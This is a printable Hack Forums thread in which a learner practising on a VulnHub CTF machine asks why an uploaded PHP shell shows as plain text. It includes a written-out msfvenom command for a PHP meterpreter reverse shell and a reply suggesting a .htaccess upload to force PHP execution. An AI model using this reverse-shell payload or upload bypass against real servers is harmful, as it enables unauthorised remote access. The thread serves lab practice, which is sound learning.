![]() |
|
PHP shell doesn't work, help! - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +---- Thread: PHP shell doesn't work, help! (/showthread.php?tid=5819172) |
PHP shell doesn't work, help! - BinarOper - Apr 1, 2018 I wanted to learn CTF so i thought that the best way to do that is practice. I downloaded a VM from VulnHub (one named TrollCave to be more specific) and started working on it. This VM runs a website. I didn't expect i could do it, but i got access to the SuperAdmin's account and i enabled the File Manager which means i can now upload files to the server. I made a simple php shell using msfvenom: Code msfvenom -p php/meterpreter/reverse_tcp LHOST=<myLocalIp> LPORT=4444 -f raw > shell.phpand i uploaded it. I prepared a handler: Code use multi/handlerThen tried to run the shell by visiting the URL: <target's_ip>/uploads/King/shell.php but the only thing that happened is that it shows me a page with the code of the shell and i got no session. A few months ago i did the same in another machine and when i visited the URL to run the shell it only showed me a blank page (like it should) and i got a session. Why isn't this working? Does the site have some kind of protection? The server is running OpenSSH and Nginx. I think it is a good idea to ask since i can learn my mistakes and if i ever encounter a situation like that again i will be able to find a solution faster. I would really appreciate your help. RE: PHP shell doesn't work, help! - kcitrap - Apr 2, 2018 Your PHP is being read as plaintext RE: PHP shell doesn't work, help! - BinarOper - Apr 3, 2018 (Apr 2, 2018 07:01 PM)kcitrap Wrote: Your PHP is being read as plaintext Exactly, but i cannot understand why. There is a possibility that the Nginx server is configured that way but i am not sure... RE: PHP shell doesn't work, help! - CryptoLs - Apr 4, 2018 Could try uploading a .htaccess file that would then have txt read as php or phone read as php (Apr 4, 2018 12:40 PM)CryptoLs Wrote: Could try uploading a .htaccess file that would then have txt read as php or php read as php |